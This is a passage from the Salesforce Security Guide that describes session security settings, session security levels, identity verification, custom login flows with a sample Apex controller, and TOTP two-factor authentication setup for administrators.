accessible via non-HTTP methods, such as calls from JavaScript.
Note: If you have a custom or packaged application that uses
JavaScript to access session ID cookies, selecting Require HttpOnly
attribute breaks your application. It denies the application access to
the cookie. If Require HttpOnly attribute is selected, the AJAX Toolkit
debugging window isn’t available.

Use POST requests for cross-domain sessions

Sets the org to send session information using a POST request, instead of a
GET request, for cross-domain exchanges. An example of a cross-domain
exchange is when a user is using a Visualforce page. In this context, POST
requests are more secure than GET requests because POST requests keep the
session information in the body of the request. However, if you enable this
setting, embedded content from another domain, such as:

Salesforce Security Guide

Field

Configure User Authentication

Description
sometimes doesn’t display.

Enforce login IP ranges on every request

Restricts the IP addresses from which users can access Salesforce to only the
IP addresses defined in Login IP Ranges. If this setting is enabled, login IP
ranges are enforced on each page request, including requests from client
applications. If this setting isn’t enabled, login IP ranges are enforced only
when a user logs in. This setting affects all user profiles that have login IP
restrictions.

Enable caching and autocomplete on login page

Allows the user’s browser to store usernames. If enabled, after initial login,
usernames are auto-filled into the Username field on the login page. If the
user selected Remember me on the login page, the username persists after
the session expires or the user logs out. The username also appears on the
Switcher. This setting is selected by default for all orgs.
Note: If you disable this setting, the Remember me option doesn’t
appear on your org’s login page or from the Switcher.

Enable secure and persistent browser caching to
improve performance

Enables secure data caching in the browser to improve page reload
performance by avoiding extra round trips to the server. This setting is selected
by default for all orgs.
Warning: Disabling secure and persistent browser caching has a
significant negative performance impact on Lightning Experience. Only
disable in the following scenarios:
• Your company’s policy doesn’t allow browser caching, even if the
data is encrypted.
• During development in a sandbox or Developer Edition org to see
the effect of any code changes without needing to empty the
secure cache.

Enable user switching

Determines whether the Switcher appears when your org’s users select their
profile picture. This setting is selected by default for all organizations. The
Enable caching and autocomplete on login page setting must also be enabled.
Deselect the Enable user switching setting to prevent your org from appearing
in Switchers on other orgs. It also prevents your org users from seeing the
Switcher when they select their profile picture.

Remember until logout

Normally, usernames are cached only while a session is active or if a user
selects Remember Me. For SSO sessions, the remember option isn't available.
So, once the session expires, the username disappears from the login page
and the Switcher. By enabling Remember me until logout, the cached
usernames are deleted only if the user explicitly logs out. If the session times
out, they appear on the Switcher as inactive. This way, if the users are on their
own computer and allow a session to time out, they can select the username
to reauthenticate. If they're on a shared computer, the username is deleted
immediately when the user logs out.

Salesforce Security Guide

Field

Configure User Authentication

Description
This setting applies to all your org’s users. This option isn't enabled by default.
However, we encourage you to enable it as a convenience to your users. Keep
this setting disabled if your org doesn't expose all your SSO or authentication
providers on your login page.

Enable Content Delivery Network (CDN) for
Lightning Component framework

Load Lightning Experience and other apps faster by enabling Akamai’s content
delivery network (CDN) to serve the static content for Lightning Component
framework. A CDN generally speeds up page load time, but it also changes
the source domain that serves the files. If your company has IP range
restrictions for content served from Salesforce, test thoroughly before enabling
this setting.CDNs improve the load time of static content by storing cached
versions in multiple geographic locations. This setting turns on CDN delivery
for the static JavaScript and CSS in the Lightning Component framework. It
doesn’t distribute your org’s data or metadata in a CDN.

Enable the SMS method of identity confirmation

Allows users to receive a one-time password delivered via SMS. If this setting
is selected, administrators or users must verify their mobile phone number
before taking advantage of this feature. This setting is selected by default for
all orgs.

Require security tokens for API logins from callouts In API version 31.0 and earlier, requires the use of security tokens for API logins
(API version 31.0 and earlier)
from callouts. Examples are Apex callouts or callouts using the AJAX proxy. In
API version 32.0 and later, security tokens are required by default.
Login IP Ranges (for Contact Manager, Group, and Specifies a range of IP addresses users must log in from (inclusive), or the login
Professional Editions)
fails.
To specify a range, click New and enter a Start IP Address and End IP Address
to define the range, which includes the start and end values.
This field is not available in Enterprise, Unlimited, Performance, and Developer
Editions. In those editions, you can specify a valid Login IP Range in the user
profile settings.
Let users use a security key (U2F)

Allows users to use a U2F security key for two-factor authentication and identity
verification. Instead of using Salesforce Authenticator, one-time passwords
generated by an authenticator app, or one-time passwords sent by email or
SMS, users insert their registered U2F security key into a USB port to complete
verification.

Require identity verification during two-factor
authentication registration

Requires users to confirm their identities to add a two-factor authentication
method, such as Salesforce Authenticator, instead of requiring a relogin as
before.

Require identity verification for change of email
address

Salesforce Security Guide

Field

Configure User Authentication

Description
Note: If the user’s identity verification method is email, the verification
code is sent to the user’s previously registered email address rather
than the new email address.

Allow location-based automated verifications with Allows users to verify identity by automatically approving notifications in
Salesforce Authenticator
Salesforce Authenticator, whenever users are in trusted locations such as a
home or office. If you allow automated verifications, you can allow them from
Allow only from trusted IP addresses
any location or restrict them to only trusted IP addresses, such as your
corporate network.
Allow Lightning Login

Allows users to use Lightning Login for password-free Salesforce logins, relying
on Salesforce Authenticator for identity verification.

Enable Logout Events Stream

Records users’ logout events. This setting is available only if the
LogoutEventStream object functionality is enabled in your org by Salesforce.
Note: This setting does not record timeout events. An exception is
when users are automatically logged out of the org after their session
times out because the org has Force logout on session timeout
enabled. In this case, a logout event is recorded. However, if users close
their browser during a session, regardless of whether the Force logout
on session timeout setting is enabled, a logout event isn’t recorded.

Enable clickjack protection for Setup pages

Protects against clickjack attacks on setup Salesforce pages. Clickjacking is
also known as a user interface redress attack. (Setup pages are available from
the Setup menu.)

Enable clickjack protection for non-Setup Salesforce Protects against clickjack attacks on non-setup Salesforce pages. Clickjacking
pages
is also known as a user interface redress attack. Setup pages already include
protection against clickjack attacks. (Setup pages are available from the Setup
menu.) This setting is selected by default for all orgs.
Enable clickjack protection for customer Visualforce Protects against clickjack attacks on your Visualforce pages with headers
pages with standard headers
enabled. Clickjacking is also known as a user interface redress attack.
Warning: If you use custom Visualforce pages within a frame or iframe,
you sometimes see a blank page or the page displays without the
frame. For example, Visualforce pages in a page layout don’t function
when clickjack protection is on.
Enable clickjack protection for customer Visualforce Protects against clickjack attacks on your Visualforce pages with headers
pages with headers disabled
disabled when setting showHeader="false" on the page. Clickjacking
is also known as a user interface redress attack.
Warning: If you use custom Visualforce pages within a frame or iframe,
you sometimes see a blank page or the page displays without the
frame. For example, Visualforce pages in a page layout don’t function
when clickjack protection is on.

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Field

Description

Enable CSRF protection on GET requests on
non-setup pages

Protects against Cross Site Request Forgery (CSRF) attacks by modifying
non-Setup pages. Non-Setup pages include a random string of characters in
the URL parameters or as a hidden form field. With every GET and POST request,
the application checks the validity of this string of characters. The application
doesn’t execute the command unless the value found matches the expected
value. This setting is selected by default for all orgs.

Enable CSRF protection on POST requests on
non-setup pages

Enable Stricter Content Security Policy

The Lightning Component framework already uses Content Security Policy
(CSP), the W3C standard to control the source of content that can be loaded
on a page. The “Enable Stricter Content Security Policy” setting additionally
prohibits the use of unsafe-inline for script-src to mitigate the
risk of cross-site scripting attacks.

Freeze JavaScript Prototypes

Prevent Lightning component authors from modifying JavaScript prototypes
of global objects that are shared between namespaces. This restriction enables
better code separation between components and prevents malicious or
inadvertent tampering of shared objects, such as the JavaScript APIs or DOM
APIs.
Note: Cisco Webex Teams and Meetings features aren't compatible
with the Freeze JavaScript Prototypes setting. If you have one of these
Webex features enabled, you can’t enable this setting.

XSS protection

Protects against reflected cross-site scripting attacks. If a reflected cross-site
scripting attack is detected, the browser shows a blank page with no content.

Content Sniffing protection

Prevents the browser from inferring the MIME type from the document
content. It also prevents the browser from executing malicious files (JavaScript,
Stylesheet) as dynamic content.

Referrer URL Protection

When loading pages, the referrer header shows only Salesforce.com rather
than the entire URL. This feature eliminates the potential for a referrer header
to reveal sensitive information that could be present in a full URL, such as an
org ID. This feature is supported only for Chrome and Firefox.

HSTS for Sites and Communities

Requires HTTPS on communities and Salesforce Sites.
Note: This setting must be enabled in two locations. HSTS for Sites
and Communities must be enabled in Session Settings, and Require
Secure Connections (HTTPS) must be enabled in the community or
Salesforce Site security settings. See Creating and Editing Salesforce
Sites.

Warn users before they are redirected outside of
Salesforce

Displays a warning message when users click links that take them outside the
salesforce.com domain. The warning message includes the full link to the
external URL and the domain name. Use this feature to protect your users
from malicious URLs and phishing. In Lightning Experience, the warning
message applies only to web tabs.

Logout URL

Redirects users to a specific page after they log out of Salesforce, such as an
authentication provider’s page or a custom-branded page. This URL is used

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Field

Description
only if no logout URL is specified in the identity provider, SAML single sign-on,
or external authentication provider settings. If no value is specified for Logout
URL, the default is https://login.salesforce.com, unless
MyDomain is enabled. If My Domain is enabled, the default is
https://customdomain.my.salesforce.com.

Link expires in

Specifies how long the account verification link in welcome emails to new
users is valid. You can select 1, 7, or 180 days. By default, account verification
links expire after 7 days.
When you update this setting, the change applies to links in welcome emails
that were already sent. For example, you added a user and sent a welcome
email two days ago when links expired in seven days. If you update the setting
so that links expire in one day, the link in the email you sent two days ago is
no longer valid.

3. Click Save.

Session Security Levels
You can restrict access to certain types of resources based on the level of security associated with the authentication (login) method for
the user’s current session. By default, each login method has one of two security levels: Standard or High Assurance. You can change
the session security level and define policies so that specified resources are available only to users assigned a High Assurance level.
For sensitive operations, require a high-assurance level of security, or block users altogether. If users already have a high-assurance
session after logging in, they aren’t prompted to verify their identity again in the same session, even if you require high assurance for
these operations.
The following table lists the different authentication methods and their default session security levels.
Type

Default Session Security Description
Level

Username and Password

Standard

Users log in by providing a username and password on a
login page.

Delegated Authentication

Standard

Users log in by providing a username and a password that
is validated using a callout to a delegated authentication
endpoint.

Activation

Standard

Users verify their identity when accessing Salesforce from
a new browser or device.

Lightning Login

Standard

Internal users log in by using Salesforce Authenticator
instead of a password.

Passwordless Login

Standard

External users of communities log in by providing a
verification code instead of a password.

Two-Factor Authentication

High Assurance

Users complete a two-factor authentication challenge to
access a resource. For example, a user must complete

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Type

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Default Session Security Description
Level
two-factor authentication when accessing a report that
requires a High Assurance level with the Raise session level
policy.
Warning: Be cautious about changing the security
level of Two-Factor Authentication to Standard. If
Two-Factor Authentication has a Standard level, but
the user profile setting Session security level
required at login requires a High Assurance session
security level, the user can’t log in. User access is
blocked when the high assurance requirement isn’t
met.

Authentication Provider

Standard

Users log in to Salesforce using their login credentials from
an external service provider.

SAML

Standard

Users are authenticated using the SAML protocol for single
sign-on.
Note: The security level for a SAML session can also
be specified using the SessionLevel attribute of the
SAML assertion sent by the identity provider. The
attribute can take one of two values, STANDARD or
HIGH_ASSURANCE.

To change the security level associated with a login method:
1. From Setup, enter Session Settings in the Quick Find box, then select Session Settings.
2. Under Session Security Levels, select the login method.
3. To move the method to the proper category, click the Add or Remove arrow.
Reports and dashboards in Salesforce and connected apps use session-level security. You can set policies requiring High Assurance on
these types of resources. You can also specify an action to take when the session used to access the resource is not High Assurance. The
supported actions are:
• Block—Blocks access to the resource by showing an insufficient privileges error.
• Raise session level—Prompts users to complete two-factor authentication. When users authenticate successfully, they can access
the resource. For reports and dashboards, you can apply this action when users access reports or dashboards, or just when they
export and print them.
Warning: Raising the session level to high assurance by redirecting the user to complete two-factor authentication is not a
supported action in Lightning Experience. If your org enabled Lightning Experience, and you set a policy that requires a
high-assurance session to access reports and dashboards, Lightning Experience users with a standard session are blocked from
reports and dashboards. Also, they don’t see the icons for these resources in the navigation menu. As a workaround, users with a
standard assurance session can log out and log in again using an authentication method that is defined as high assurance by their
org. Then they have access to reports and dashboards. Or, they can switch to Salesforce Classic, where they’re prompted to raise
the session level when they attempt to access reports and dashboards.
To set a High Assurance required policy for accessing a connected app:

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1. From Setup, enter Connected Apps in the Quick Find box, then select the option for managing connected apps.
2. Click Edit next to the connected app.
3. Select High Assurance session required.
4. Select one of the actions presented.
5. Click Save.
To set a High Assurance required policy for accessing reports and dashboards:
1. From Setup, enter Access Policies in the Quick Find box, then select Access Policies.
2. Select High Assurance session required.
3. Select one of the actions presented.
4. Click Save.
Note: You also can set the High Assurance requirement for reports and dashboards on the Identity Verification page. For more
information, see Require High Assurance Session Security for Sensitive Operations.
Session levels have no impact on resources in the app other than connected apps, reports, and dashboards for which explicit security
policies have been defined.

Configure When Users Are Prompted to Verify Identity
You can control how and when users are prompted to verify their identity.

EDITIONS

1. In Setup, enter Identity in the Quick Find box, and then click Identity Verification.
2. Customize the identity verification settings, and then click Save.

Available in: all editions

Field

Description

USER PERMISSIONS

Enable the SMS method of identity
confirmation

Allows users to receive a one-time password
delivered via SMS. If this setting is selected,
administrators or users must verify their
mobile phone number before taking
advantage of this feature. This setting is
selected by default for all orgs.

To modify identity verification
settings:
• Customize Application

Require security tokens for API logins from
callouts (API version 31.0 and earlier)

In API version 31.0 and earlier, requires the use
of security tokens for API logins from callouts.
Examples are Apex callouts or callouts using
the AJAX proxy. In API version 32.0 and later,
security tokens are required by default.

Let users use a security key (U2F)

Allows users to use a U2F security key for
two-factor authentication and identity
verification. Instead of using Salesforce
Authenticator, one-time passwords generated
by an authenticator app, or one-time
passwords sent by email or SMS, users insert
their registered U2F security key into a USB
port to complete verification.

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Field

Description

Require identity verification during two-factor authentication
registration

Requires users to confirm their identities to add a two-factor
authentication method, such as Salesforce Authenticator, instead
of requiring a relogin as before.

Require identity verification for change of email address

Requires users to log in again and confirm their identity before
the change to their email address is applied. Salesforce asks the
user to verify identity using a registered verification method, such
as Salesforce Authenticator, SMS text message, or email.
Note: If the user’s identity verification method is email,
the verification code is sent to the user’s previously
registered email address rather than the new email
address.

Allow location-based automated verifications with Salesforce
Authenticator
Allow only from trusted IP addresses

Allows users to verify identity by automatically approving
notifications in Salesforce Authenticator, whenever users are in
trusted locations such as a home or office. If you allow automated
verifications, you can allow them from any location or restrict
them to only trusted IP addresses, such as your corporate
network.

These identity verification settings are also available on the Session Settings page. You can change the settings in either location.
SEE ALSO:
Modify Session Security Settings
Require High-Assurance Session Security for Sensitive Operations

Require High-Assurance Session Security for Sensitive Operations
To secure different setup areas in your org, require a high-assurance level of security for sensitive
operations, like accessing reports and managing IP addresses. You can also block users from accessing
these setup areas.
These settings apply only to users who have user permissions to access these operations. If users
have a high-assurance session after logging in, they aren’t prompted to verify their identity in the
same session, even if you require high assurance for sensitive operations.
1. In Setup, enter Identity in the Quick Find box, and then click Identity Verification.
2. Under Session Security Level Policies, raise the session security level to high assurance, or block
users.

EDITIONS
Available in: all editions

USER PERMISSIONS
To modify session security
settings:
• Customize Application

• Reports and Dashboards—Controls access to reports and dashboards. This setting is also
available on the Reports and Dashboards Access Policies page. You can change this setting in either location.
• Manage Encryption Keys—Controls access to the Platform Encryption page, the Certificate and Key Management Setup page,
and the TenantSecret object.
• Manage Auth. Providers—Controls access to the Auth. Providers page, the User Details Setup page, and the AuthProvider object.
• Manage Login Access Policies—Controls access to the Login Access Policies Setup page.

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• Manage IP Addresses—Controls access to the Network Access Setup page.
• Manage Password Policies—Controls access to the Password Policies Setup page and profile details.
• Manage Sharing—Controls access to the Sharing Settings Setup page, the SharingRules object, and the CustomObject’s
sharingModel field in Metadata API.

SEE ALSO:
Configure When Users Are Prompted to Verify Identity
Modify Session Security Settings

Create a Login Flow
A login flow directs users through a login process before they access your Salesforce org or
community. You can use a login flow to control the business processes that your users follow when
they log in to Salesforce. After Salesforce authenticates a user, the login flow directs the user through
a process, such as enforcing strong authentication or collecting user information. When users
complete the login flow successfully, they are redirected to their Salesforce org or community. If
unsuccessful, the flow can log out users immediately.
Before creating a login flow, it’s important to understand login flow execution.
• To invoke a login flow, the user must first be authenticated. Login flows don’t replace the existing
Salesforce authentication process. They integrate new steps or ask the user for information.
• During login-flow execution, users have restricted access. Users in a login flow can access only
the flow—they can’t bypass it to get to the application. They can log in to the org only when
they successfully authenticate and complete the flow.
You can create two types of login flows:
• Screen flow, which you create declaratively using the Cloud Flow Designer
• Visualforce Page, which you create programmatically using Visualforce

EDITIONS
Available in: both Salesforce
Classic and Lightning
Experience
Available in: Essentials,
Professional, Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS
To open, edit, or create a
flow in the Cloud Flow
Designer:
• Manage Flow

After creating the flow, you designate it as a login flow from Setup and choose which profiles apply.
You can create multiple login flows and associate each one with a different user profile. Users assigned to one profile, like sales reps,
experience a particular login process as they log in. Users assigned to a different profile like service reps, experience a different login
process.
IN THIS SECTION:
Create a Login Flow with the Cloud Flow Designer
Use the point-and-click Cloud Flow Designer to create a login flow declaratively. With this tool, you create a screen flow—a collection
of screens and connectors that step users through a business process when they log in.
Create a Custom Login Flow with Visualforce
Use Visualforce and an Apex controller to create a custom login flow programmatically. With Visualforce, you have complete control
over how your login page looks, behaves, and where users go after they complete the flow. You can design your login page from
scratch and control every pixel of the page.

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Create a Login Flow with the Cloud Flow Designer
Use the point-and-click Cloud Flow Designer to create a login flow declaratively. With this tool, you
create a screen flow—a collection of screens and connectors that step users through a business
process when they log in.
Note: You can also use Visualforce to create a Visualforce Page login flow in code.
Modify the default login flow to meet your needs. You can customize the login page by:
• Supplying your own logo
• Changing the colors of the background and login button
• Displaying content on the right frame of the page
Follow these steps to build a login flow using the Cloud Flow Designer.
1. Create a screen flow with the Cloud Flow Designer.
Note: Make sure that you save and activate the flow.
2. From Setup, designate the flow as a login flow, and associate the flow with user profiles. See
Set Up a Login Flow and Connect to Profiles.

EDITIONS
Available in: both Salesforce
Classic and Lightning
Experience
Available in: Essentials,
Professional, Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS
To open, edit, or create a
flow in the Cloud Flow
Designer:
• Manage Flow

Create a Custom Login Flow with Visualforce
Use Visualforce and an Apex controller to create a custom login flow programmatically. With Visualforce, you have complete control
over how your login page looks, behaves, and where users go after they complete the flow. You can design your login page from scratch
and control every pixel of the page.
Define the business process in an Apex controller of the Visualforce page. Salesforce doesn’t pass input variables to a Visualforce Page
login flow, but you have access to user and login context. You must include one of these Apex methods.
• Auth.SessionManagement.finishLoginFlow() indicates that the login flow is done and redirects the user to the
home page
• Auth.SessionManagement.finishLoginFlow(startURL) indicates that the login flow is done and redirects the
user to a specific page.
The login flow runs in a restricted session. Calling a finishLoginFlow method removes the session restriction and gives users
access to Salesforce or their community. You decide when or under what condition to call the method to remove the session restriction.
Here’s an example of a Visualforce Page login flow. The user clicks a button to invoke the finishLoginFlow method. Specify
showHeader=”false” for the login flow to work correctly.

You are in VF Login Flow

Here’s an example of an Apex controller that defines the business process.
public class VFLoginFlowController {
public PageReference FinishLoginFlowStartUrl() {

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//do stuff
//finish the login flow and send you to the startUrl (account page in this case)
return Auth.SessionManagement.finishLoginFlow('/001');
}

public PageReference FinishLoginFlowHome() {
//do stuff
//finish the login flow and send you the default homepage
return Auth.SessionManagement.finishLoginFlow();
}
}

Give each profile that you want to associate with this Visualforce Page access.
1. From Setup, enter Visualforce in the Quick Find box, then select Visualforce Page.
2. Next to the Visualforce page that you want to use, click Security.
3. From the list of available profiles, add the profiles that you want to associate with this login flow.
4. From Setup, designate the Visualforce page as a login flow, and connect the profiles to it. See Set Up a Login Flow and Connect to
Profiles.

EDITIONS
Available in: both Salesforce
Classic and Lightning
Experience
Available in: Essentials,
Professional, Enterprise,
Performance, Unlimited,
and Developer Editions

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4. Select the type of flow you created. Choose Flow if you created the flow with the Cloud Flow Designer. Choose Visualforce Page
if you created the flow with Visualforce.
Note: For Visualforce Page login flows, make sure that the profiles that you intend to associate with this login flow have access
to the Visualforce Page.
5. From the dropdown list of available flows, choose which one to use for this login flow.
6. Select a user license for the profile that you want to connect to the login flow.
7. From the list of available profiles for this license, select the profile to associate with this login flow.
8. If you want the login flow to resemble the Lightning Experience UI, select Render Flow in Lightning Runtime. If you don’t select
this option, the login flow resembles Salesforce Classic.
Note: A login flow is independent of which UI users use: Lightning Experience or Salesforce Classic. You can set a login flow
to resemble Lightning Experience even if users log in to Salesforce Classic. Likewise, you can set a login flow to resemble
Salesforce Classic even if users log in to Lightning Experience.
9. Click Save.
Repeat the process to associate other profiles with the login flow.
After you connect the login flow, you can edit or delete it from the Login Flows Setup page.

Login Flow Examples
You can use a login flow to customize the login experience and integrate business processes with Salesforce authentication. Common
uses cases include collecting and updating user data at login, configuring two-factor authentication, or integrating third-party strong
authentication methods.
Let’s look at three common use cases for login flows.
• Collect and update user data during login
• Apply customized two-factor authentication (2FA)
• Integrate third-party strong authentication mechanisms

Collect and Update User Data at Login
This login flow collects and updates information about the user at login by requesting the user’s phone numbers.
1. Query the user object for the user’s phone numbers, if they exist.
2. Display the numbers, and ask the user to confirm or update them.
3. Update the user object with new numbers, if provided.

Create the Flow
1. Go to the Cloud Flow Designer.

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2. On the Resources tab, create a variable that contains the user’s user ID.
The login event passes a list of context attributes to the flow. To query and use these attributes, define local text variables using the
LoginFlow_ATTRIBUTE_NAME format, for example, LoginFlow_UserId.

After you add the attribute, it appears on the Explorer tab under Variables.
When you use the following input attributes, their values are populated in the flow when it starts.
• LoginFlow_LoginType
• LoginFlow_IpAddress
• LoginFlow_UserAgent
• LoginFlow_Platform
• LoginFlow_Application
• LoginFlow_Community
• LoginFlow_SessionLevel
• LoginFlow_UserId
You can also set the output attributes in the flow.
• LoginFlow_FinishLocation (type string)—This attribute determines where to send the user when the flow completes.
• LoginFlow_ForceLogout (type boolean)—When this variable is set to true, the user is immediately logged out.
You can use the attribute LoginFlow_UserId to verify the ID of the user logging in and query the associated user object.
3. On the Resources tab, click Create New to create an sObject variable where you can store the user object.

4. Create a Fast Lookup element that looks up the user object.

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5. Specify the user attributes that you want to store in the variable, for example, Phone and MobilePhone.
6. Create a welcome screen for collecting or displaying the phone numbers at login.

7. Create a record update component for updating the numbers.

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8. Name the login flow and save it.

9. Connect the login flow to a user profile. Best practice is to create a dedicated test user with a test profile.
Note: Don’t associate a login flow with your administrator profile until you are sure that the login flow works properly.
Otherwise, if it fails, you can’t log in to your org.
10. Log out, and then log in as the test user to test the flow.
When you test the Welcome Flow example, here’s how it looks using Lightning Experience.

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Configure Two-Factor Authentication
This example implements a login flow that enhances time-based one-time password (TOTP) authentication with a two-factor authentication
method that Salesforce supports. The TOTP algorithm computes a one-time password from a shared secret key and the current time.
The flow does the following.
• If the user is not yet registered, generates a new secret key, and prompts the user to register the key with a QR (Quick Response)
code. After the user provides a valid TOTP token, the secret key is stored in the user record. The key is reused for future logins.
• If the user is already registered, prompts the user only for the TOTP token.
Users can use a time-based authentication application (such as Salesforce Authenticator or Google Authenticator) to scan the QR code
and generate a TOTP token.
You can enhance this flow and customize the user experience by adding a corporate logo, colors, and so forth. You can even add and
enforce different policies. For example, you can build an IP-based, two-factor authentication process that requires a second authentication
factor only when the IP address is outside of a certain range.
This example uses the TwoFactorInfo object and the Auth.SessionManagement Apex class to customize and manage the
standards-based TOTP two-factor authentication that Salesforce supports.
1. Look up the TwoFactorInfo object for the current user. If the user is not registered, generate a key.
2. Determine whether the user is already registered with TOTP.
3. If the user is already registered, prompt the user to provide the TOTP token.
4. If the user is not registered, prompt the user to register with a QR code and provide the TOTP token.
5. Validate the TOTP token. If the token is valid, the login flow finishes, and the user logs in.
6. If the TOTP token is invalid, send the user back to step 2.

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Configure the TOTP Flow
1. Create the variables.
• secret—Stores the secret key for all two–factor operations.
• qr_url—Stores the URL for the QR code encoding of the secret key.
• IsTokenValid—Stores the verification result.
The variables secret and qr_url are text, and IsTokenValid is a boolean data type.

2. Set up the TOTPPlugin to generate a new secret for users that are not are already registered with a TOTP.
A plug-in is an Apex class that extends the standard functionality of a flow. You can use a plug-in to do a complex calculation, make
API calls to external services, and more.
TOTPPlugin accesses the Salesforce TOTP methods, generates a time-based secret key with a QR code, and validates the TOTP. The
Apex class for TOTPPlugin is available in the login flow sample package.
The plug-in takes these input parameters.
• OTP_INPUT—The TOTP token that the user provides.
• OTP_REGISTRATION_INPUT—The TOTP token that the user provides when first registering.
• SECRET_INPUT—The secret key used to generate the TOTP.
It returns the following parameters.
• SECRET_OUTPUT—A secret key generated by the plug-in.

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• QR_URL_OUTPUT—A QR encoding of the secret key.
• IsValid_OUTPUT—If the validation succeeded, it returns true. Otherwise, it returns false.

Configure a TOTPPlugin instance to generate a new secret key and QR code if the user is not already registered. In this case, no input
is passed.

The secret key and URL for the QR code are stored in the qr_url and secret variables.

3. Configure a decision element to register a user.
The Registration decision element verifies whether secret is null. If it is not null, the user must register, so define Register
as the outcome of the decision. Otherwise, the user is already registered and must provide only the TOTP token. In this case, the
outcome is Get TOTP, which is also the default outcome.

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4. Configure the Get TOTP screen.
Users that are already registered are redirected to this screen and asked to provide the TOTP token. The input TOTP token is saved
in OTP_input.
5. Configure the Registration screen.
This screen presents the QR code, asks the user to scan and initialize the TOTP client application and provide the TOTP token.

6. Validate the TOTP token.
Define another instance of the TOTPPlugin for validating the TOTP token that the user provides.

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The plug-in supports these use cases.
• The user comes from the Registration screen. The user has to scan the QR code and provide the TOTP token. Both the TOTP
token and secret are passed to the TOTPPlugin for validation. The TOTPPlugin validates the TOTP token against the secret. If valid,
the secret is registered on the user record and used for future logins.
• The user comes from the Get Token screen. The user is already registered, so provides only the TOTP. The TOTP token is passed
via the TokenInput parameter to the TOTPPlugin for validation.

The isTokenValid parameter returns the validation status, which is then saved in isTokenValid.

The decision element has two possible outcomes.
• The token is valid if IsTokenValid is true.
• The token is invalid, which is the default.
7. Configure a decision element to log in the user.
If the validation succeeds, the user proceeds to the end of the flow, clicks to the next step, and logs in to the application. If the
validation fails, the flow redirects the user back to step 2 in the flow. In step 2, a registered user is asked to provide a new TOTP token.
If the user isn’t yet registered, the user is asked to register and provide a new TOTP token.

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8. Save the login flow, activate it, and connect it with a user profile.

Integrate Third-Party Strong Authentication Methods
You can use login flows to interact with external third-party authentication services by using an API.
For example, Yubico offers strong authentication using a hardware token called a YubiKey. Yubico also provides an example Apex library
and login flow on GitHub. The library supplies Apex classes for validating YubiKey OTPs (one-time passwords). The classes allow Salesforce
users to use a YubiKey as a second authentication factor at login. For more information, see yubikey-salesforce-client.
You can also implement a third-party SMS or voice delivery service, like Twilio or TeleSign, to implement a SMS-based two-factor
authentication and identity the verification flow. For more information, see Deploy Third-Party SMS-Based Two-Factor Authentication.

Login Flow Samples Package
The Login Flow Samples Package is an unmanaged package that installs different login flow samples into your Salesforce org. It contains
the following examples.
• Email Confirmation—Send email with a verification code
• SF-TOTP—Enable TOTP two-factor authentication
• Conditional Two–Factor—Skip two-factor authentication for users who come from a trusted IP address
• Identity Confirmation—Confirm the user identity using email or two-factor authentication
• Accept Terms of Service—Ask the user to agree to terms before continuing
SEE ALSO:
Deploy Third-Party SMS-Based Two-Factor Authentication
Limit the Number of Concurrent Sessions with Login Flows
Custom Login Flows
YubiKey for salesforce.com

Salesforce Security Guide

Configure User Authentication

Set Up Two-Factor Authentication
Two-factor authentication is the most effective way to protect your org’s user accounts. Admins
enable two-factor authentication through permissions or profile settings. Users register for two-factor
authentication through their own personal settings, using secondary authenticators such as mobile
authenticator apps or U2F security keys.
You can customize two-factor authentication in the following ways.
• Require it for every login. Set the two-factor login requirement for every time the user logs in
to Salesforce. You can also enable this feature for API logins, which includes the use of client
applications like the Data Loader. For more information, see Set Two-Factor Authentication
Login Requirements or Set Two-Factor Authentication Login Requirements for API Access.
• Use “stepped up” authentication (also known as “high assurance” authentication). Sometimes
you don’t need two-factor authentication for every user’s login, but you want to secure certain
resources. If the user tries to use a connected app or reports, Salesforce prompts the user to
verify identity. For more information, see Session Security Levels.

• Use profile policies and session settings. First, in the user profile, set Session security level required at login to High Assurance.
Then set session security levels in your org’s session settings to apply the policy for particular login methods. In your org’s session
settings, review the session security levels to make sure that Two-Factor Authentication is in the High Assurance column. For more
information, see Set Two-Factor Authentication Login Requirements and Custom Policies for Single Sign-On, Social Sign-On, and
Communities.
Warning: If Two-Factor Authentication is in the Standard column, users get an error when they log in with a method that
grants standard-level security.
Only authentication flows that include a user approval step support using API logins with the High Assurance session security level.
These flows are the OAuth 2.0 refresh token flow, web server flow, and user-agent flow. All other flows, such as the JSON Web Token
(JWT) bearer token flow, don’t include a user approval step. For flows without a user approval step, API logins with the High Assurance
session security level are blocked.
It’s possible that users are prompted to verify their identity with two-factor authentication twice during the OAuth approval flow.
The first challenge is on the UI session. The second challenge happens when the access token is bridged into the UI. This second
challenge is triggered because the High Assurance session security level isn’t transferred to the access token.
• Use login flows. Use the Flow Designer and profiles to build post-authentication requirements as the user logs in, including custom
two-factor authentication processes. For more information, see the following examples.
– Login Flow Examples
– Deploy Third-Party SMS-Based Two-Factor Authentication
– Enhancing Security with Two-Factor Authentication (Salesforce Classic)

IN THIS SECTION:
Set Two-Factor Authentication Login Requirements
As a Salesforce admin, you can require your users to use a second factor of authentication when they log in.
Set Two-Factor Authentication Login Requirements and Custom Policies for Single Sign-On, Social Sign-On, and Communities
Use profile policies and session settings to set two-factor authentication login requirements for users. All Salesforce user interface
authentication methods, including username and password, delegated authentication, SAML single sign-on, and social sign-on
through a third-party authentication provider, are supported. You can apply the two-factor authentication requirement to users in
Salesforce orgs and Communities.

Salesforce Security Guide

Configure User Authentication

Set Two-Factor Authentication Login Requirements for API Access
Salesforce admins can set the Two-Factor Authentication for API Logins permission to use a second authentication challenge for
API access to Salesforce. API access includes the use of applications like the Data Loader and developer tools for customizing an
organization or building client applications.
Connect Salesforce Authenticator (Version 3 or Later) to Your Account for Identity Verification
The Salesforce Authenticator app on your mobile device is the second factor of authentication. Use the app to add an extra level of
security to your account.
Verify Your Identity with a One-Time Password Generator App or Device
Connect a one-time password generator app, such as Salesforce Authenticator or Google Authenticator, to verify your identity. The
app generates a verification code, sometimes called a “time-based one-time password”.
Disconnect Salesforce Authenticator (Versions 2 and 3) from a User’s Account
Only one Salesforce Authenticator (version 2 or later) mobile app can be connected to a user’s account at a time. If your user loses
access to the app by replacing or losing the mobile device, disconnect the app from the user’s account. As long as the user (or
assigned profile) still has the two-factor permission enabled, and no other authenticator method is connected to their account,
Salesforce prompts the user to connect a new authenticator method the next time they log in.
Disconnect a User’s One-Time Password Generator App
Besides Salesforce Authenticator, one other mobile authenticator app that generates verification codes (one-time passwords) can
be connected to a user’s account at a time. If your user loses access to the app by replacing or losing the mobile device, disconnect
the app from your user’s account. The next time your user logs in with two-factor authentication, if no other identity verification
method is connected, Salesforce prompts the user to connect a new authenticator app.
